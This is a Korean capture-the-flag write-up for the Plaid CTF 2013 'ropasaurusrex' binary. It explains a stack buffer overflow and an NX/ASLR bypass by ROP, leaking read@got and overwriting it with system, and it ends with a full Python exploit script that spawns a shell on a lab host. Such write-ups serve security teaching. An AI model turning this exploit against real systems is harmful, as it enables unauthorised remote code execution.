[Plaid 2013 CTF] ropasaurusrex
바이너리는 매우 간단하다. 실행을 하면 입력을 받은 후 "WIN" 문자열을 출력한 뒤 종료한다.
# file ropasaurusrex
ropasaurusrex: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=0xac7a99968978eed656c19db9209d3cd89280b55e, stripped
file 명령을 통해 32bit ELF 구조의 파일인 것을 알 수 있다.
바이너리를 분석을 통해 위의 코드에서 취약점이 발생하는 것을 알 수 있다.
변수 buf 의 크기를 0x88 만큼 선언했지만, read 함수는 0x100 만큼 받아주기 때문에 overflow 취약점이 발생한다.
checksec.sh --file ropasaurusrex
NX 가 활성된 것을 확인할 수 있다. 그리고 문제의 서버 환경은 ASLR 이 적용되어 있다.
ASLR 과 NX 기법을 우회하기 위해 ROP 기법을 이용하여 exploit 해보도록 한다.
공격 방법
1. "/bin/sh" 명령을 쓰기 가능한 메모리 영역에 복사한다.
2. write 함수를 이용해 read@got 주소를 leak 한다.
3. read@got - offset 하여 system 주소를 구한다.
4. read 함수 호출하여 read@got 주소를 system 주소로 overwrite 한다.
5. system 함수 호출
dynamic = 0x08049530
pppr = 0x080484b6
read@plt = 0x0804832c
read@got = 0x0804961c
write@plt = 0x0804830c
write@got = 0x08049614
libc_system = 0x3f460
libc_read = 0xdf440
offset = libc_read - libc_system
# ASLR 로 인해 라이브러리의 주소가 바뀌지만 함수 주소는 변하지 않는다. 따라서 함수의 offset 을 통해 system 주소를 알 수 있다.
- - - - - - - - - - - - - - - - - - - - - exploit.py - - - - - - - - - - - - - - - - - - - - -
from socket import *
from time import *
from struct import *
p = lambda x:pack("<L",x)
up = lambda x:unpack("<L",x)[0]
dynamic = 0x08049530
pppr = 0x080484b6
read_plt = 0x0804832c
read_got = 0x0804961c
write_plt = 0x0804830c
write_got = 0x08049614
offset = 0x9ffe0
cmd = "/bin/sh"
payload = ''
payload = 'A'*140
payload += p(read_plt)
payload += p(pppr)
payload += p(0)
payload += p(dynamic)
payload += p(len(cmd)+1)
payload += p(write_plt)
payload += p(pppr)
payload += p(1)
payload += p(read_got)
payload += p(4)
payload += p(read_plt)
payload += p(pppr)
payload += p(0)
payload += p(read_got)
payload += p(4)
payload += p(read_plt)
payload += 'AAAA'
payload += p(dynamic)
ip = '192.168.127.133'
port = 9999
s = socket()
s.connect((ip,port))
print '[*] sending payload...'
s.send(payload+'\n')
s.send(cmd+'\n')
sleep(1)
read = up(s.recv(4))
print '[*] read_addr = '+hex(read)
system = read - offset
print '[*] system_addr = '+hex(system)
sleep(1)
s.send(p(system))
print '[*] exploit!!!'
s.send("id\n")
sleep(1)
print s.recv(1024)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -